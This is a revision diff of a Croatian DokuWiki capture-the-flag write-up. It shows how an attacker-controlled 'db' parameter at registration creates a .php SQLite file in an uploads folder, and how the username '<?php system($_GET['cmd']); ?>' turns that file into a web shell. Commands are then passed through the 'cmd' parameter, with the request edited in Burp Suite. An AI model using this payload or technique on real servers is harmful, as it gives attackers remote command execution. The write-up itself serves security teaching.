User Tools

Site Tools


baze_i_datoteke

Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Both sides previous revisionPrevious revision
Next revision
Previous revision
baze_i_datoteke [2025/04/27 17:06] ppalebaze_i_datoteke [2025/12/01 11:40] (current) – external edit 127.0.0.1
Line 103: Line 103:
 /uploads/<sha 256 username hash>/baza.php /uploads/<sha 256 username hash>/baza.php
 </code> </code>
-jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika profile.png +jer je poznato da ova putanja postoji, jer je u njoj pohranjena slika "profile.png".
  
-Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, npr .php, unutar putanje na serveru s koje se datoteka može vidjeti i dohvatiti. Preostalo je pitanje kako iskoristiti tu datoteku da bi se nešto postiglo. +Sada je poznata tehnika kako stvoriti datoteku s proizvoljnim imenom i ekstenzijom, npr ".php", unutar putanje na serveru s koje se datoteka može vidjeti i dohvatiti. Preostalo je pitanje kako iskoristiti tu datoteku da bi se nešto postiglo. 
-Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti procesuiran i obrađen pri postupku dohvaćanja“ zatražene datoteke prije slanja odgovora na zahtjev. Znači da ako se stvori datoteka s „.php“ ekstenzijom i PHP kodom u sebi, koja može biti dohvaćena, pri postupku dohvaćanja prije nego što je vraćena, PHP kod će biti izvršen i rezultati izvršavanja će biti zapisani u datoteci.+Ako je ekstenzija datoteke „.php“, PHP kod unutar datoteke će biti obrađen i izveden pri postupku dohvaćanja zatražene datoteke prije slanja odgovora na zahtjev. Znači daako se stvori datoteka s „.php“ ekstenzijom i PHP kodom u sebi, koja može biti dohvaćena, pri postupku dohvaćanja prije nego što je vraćena, PHP kod će biti izvršen i rezultati izvršavanja će biti zapisani u datoteci.
  
 Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.) Ostalo je još samo pitanje kako zapisati PHP kod unutar SQLite datoteke s proizvoljnim imenom, na takav način da se PHP kod uspješno izvrši pri dohvaćanju. Unutar baze podataka s proizvoljnim imenom nad kojim imamo kontrolu se zapisuje korisničko ime i password stvorenog korisnika. Ovaj kod se može vidjeti unutar datoteke register.php (slika 9.)
  
-{{bazeidatoteke:slika9.png}}+{{  bazeidatoteke:slika9.png  }}
  
 Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno) Na username nema ograničenja osim da mora biti duže od 10 znakova i taj username će biti zapisan unutar baze podataka nad čijim imenom i lokacijom imamo kontrolu. (slika 9., slika 10. označeno crveno)
Line 116: Line 116:
  
  
-{{bazeidatoteke:slika10.png}}+{{  bazeidatoteke:slika10.png  }}
  
-Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto je username korisnika. Pri dohvaćanju ove baze podataka, što je također moguće odgovarajućim pozicioniranjem baze, PHP kod će se izvršavati, a mi ćemo moći definirati PHP kod koji će se izvršiti. Najjednostavniji kod koji se ovdje može postaviti je +Ovo znači da se može stvoriti baza podataka s „.php“ ekstenzijom i s PHP kodom unutar podataka, koji bi bio u plaintext formatu, pošto se username korisnika zapisuje u plaintextu. Pri dohvaćanju ove baze podataka, što je također moguće odgovarajućim pozicioniranjem baze, PHP kod će se izvršavati, a mi ćemo moći definirati PHP kod koji će se izvršiti. Najjednostavniji kod koji se ovdje može postaviti je
 ‚‚ ‚‚
 <?php system($_GET['cmd']); ?> <?php system($_GET['cmd']); ?>
Line 129: Line 129:
 ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php
 ‚‚ ‚‚
-A korisničko ime koje bi se unijelo pri registraciji bi bilo+A korisničko ime koje bi se unijelo pri registraciji bi bilo:
 ‚‚ ‚‚
 <?php system($_GET['cmd']); ?> <?php system($_GET['cmd']); ?>
 ‚‚ ‚‚
  
-Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Npr pokretanje „ls“ naredbe.+Nakon ove prijave, PHP shell bi se mogao koristiti na prethodno definiranoj putanji, a s „cmd“ GET parametrom se mogu definirati shell naredbe. Nprpokretanje naredbe „ls“.
 ‚‚ ‚‚
 ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php?cmd=ls ./uploads/<sha 256 hash usernamea prvog korisnika>/shell.php?cmd=ls
Line 140: Line 140:
  
  
-Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se upaliti burpsuite proxy preko kojega će se urediti zahtjev za registraciju. +Preporučen alat za ostvarivanje ovog postupka je burpsuite. Nakon što je prvi korisnik normalno stvoren i zabilježena je putanja njegove profilne slike kako bi se koristila u daljnjem postupku, može se pokrenuti burpsuite proxy preko kojega će se urediti zahtjev za registraciju. 
-Nakon unosa PHP koda u polje korisničkog imena na registraciji i nevažnog passworda, kao što je prikazano na slici 11.+Nakon unosa PHP koda u polje korisničkog imena na registraciji i proizvoljnog/nevažnog passworda, kao što je prikazano na slici 11.
  
-{{bazeidatoteke:slika11.png}}+{{  bazeidatoteke:slika11.png  }}
  
-Zahtjev se šalje pritiskom na gumb register, dok je istovremeno burp proxy upaljen, kako bi POST request presreo uredio tako da mu se doda odgovarajući parametar „db“ kao što je prikazano na slici 12.+Zahtjev se šalje pritiskom na gumb "Register", dok je istovremeno burp proxy upaljen, kako bi on presreto POST request i preuredio ga tako da mu se doda odgovarajući parametar „db“ kao što je prikazano na slici 12.
  
-{{bazeidatoteke:slika12.png}}+{{  bazeidatoteke:slika12.png  }}
  
-Kada je db parametar odgovarajuće definiran kao što je prethodno opisano, zahtjev se može proslijediti. Ako je tehnika uspješno izvršena, trebao bi biti vraćen odgovor s porukom o uspješnoj registraciji kao što je prikazano na slici 13.+Kada je db parametar odgovarajuće definiran, na prethodno opisan način, zahtjev se može proslijediti. Ako je tehnika uspješno izvršena, trebao bi biti vraćen odgovor s porukom o uspješnoj registraciji kao što je prikazano na slici 13.
  
-{{bazeidatoteke:slika13.png}}+{{  bazeidatoteke:slika13.png  }}
  
-Nakon ovoga, web shellu se može jednostavno pristupiti korištenjem putanje koja je bile definirana u „db“ parametru POST requesta registracije.+Nakon ovoga, pristup web shellu je jednostavan, korištenjem putanje koja je bila definirana u „db“ parametru POST requesta registracije.
 U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru: U Dockerfileu se vidi lokacija flaga, tako da je za rješenje zadatka samo potrebno dohvatiti taj flag pristupom spomenutoj putanji s odgovarajućom shell naredbom zadanom u GET parametru:
  
Line 171: Line 171:
  
  
-{{bazeidatoteke:slika14.png}}+{{  bazeidatoteke:slika14.png  }}
baze_i_datoteke.1745773614.txt.gz · Last modified: 2025/12/01 11:40 (external edit)

Donate Powered by PHP Valid HTML5 Valid CSS Driven by DokuWiki